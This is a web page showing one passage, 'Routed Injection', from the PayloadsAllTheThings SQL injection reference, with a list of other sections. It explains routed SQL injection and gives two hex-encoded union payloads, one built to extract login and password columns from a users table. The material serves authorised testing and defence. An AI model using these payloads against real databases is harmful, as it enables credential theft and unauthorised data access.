Skip to content
BackEsc
Sign in

SQL Injection · passage 17 of 186

Routed Injection

2 code blocks · SQL Injection/README.md

For testing systems you own or are authorised to test, and for defending them. Nothing here is run by this page.

Open this passage on GitHub

> Routed SQL injection is a situation where the injectable query is not the one which gives output but the output of injectable query goes to the query which gives output. - Zenodermus Javanicus In short, the result of the first SQL query is used to build the second SQL query. The usual format is `' union select 0xHEXVALUE --` where the HEX is the SQL injection for the second query. **Example 1**: `0x2720756e696f6e2073656c65637420312c3223` is the hex encoded of `' union select 1,2#`

' union select 0x2720756e696f6e2073656c65637420312c3223#

**Example 2**: `0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061` is the hex encoded of `-1' union select login,password from users-- a`.

-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a

Source: SQL Injection/README.md in PayloadsAllTheThings. From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky.

Every one of the 186 is a mark on the map. Named now: 1 to 26, reading order first.

  1. SQL Injection§ 1text · README.md
  2. Entry Point Detection§ 2text · README.md
  3. DBMS Identification Keyword Based§ 3text · README.md
  4. DBMS Identification Error Based§ 4text · README.md
  5. Authentication Bypass§ 54 code blocks · README.md
  6. Raw MD5 and SHA1§ 62 code blocks · README.md
  7. Hashed Passwords§ 71 code block · README.md
  8. UNION Based Injection§ 83 code blocks · README.md
  9. Error Based Injection§ 92 code blocks · README.md
  10. Blind Injection§ 10text · README.md
  11. Boolean Based Injection§ 113 code blocks · README.md
  12. Blind Error Based Injection§ 121 code block · README.md
  13. Time Based Injection§ 133 code blocks · README.md
  14. Out of Band (OAST)§ 14text · README.md
  15. Stacked Based Injection§ 151 code block · README.md
  16. Polyglot Injection§ 161 code block · README.md
  17. Routed Injection§ 172 code blocks · README.md
  18. Second Order SQL Injection§ 18text · README.md
  19. PDO Prepared Statements§ 19text · README.md
  20. Generic WAF Bypass§ 20text · README.md
  21. No Space Allowed§ 21text · README.md
  22. Alternative Whitespace Characters§ 22text · README.md
  23. Bypassing with Comments and Parentheses§ 23text · README.md
  24. No Comma Allowed§ 24text · README.md
  25. No Equal Allowed§ 25text · README.md
  26. Case Modification§ 26text · README.md

Zoom in on the map and the dots under the middle of it are named where they are.

Data as of 2026-11-14. CVE List through 2026-11-14 · EPSS of 2026-11-13 · CISA KEV checked 2026-11-14. Source: PayloadsAllTheThings by Swissky and contributors, MIT License. For authorised testing only.

CyberSIXTSignal over noise
Updated AboutDevelopersSign in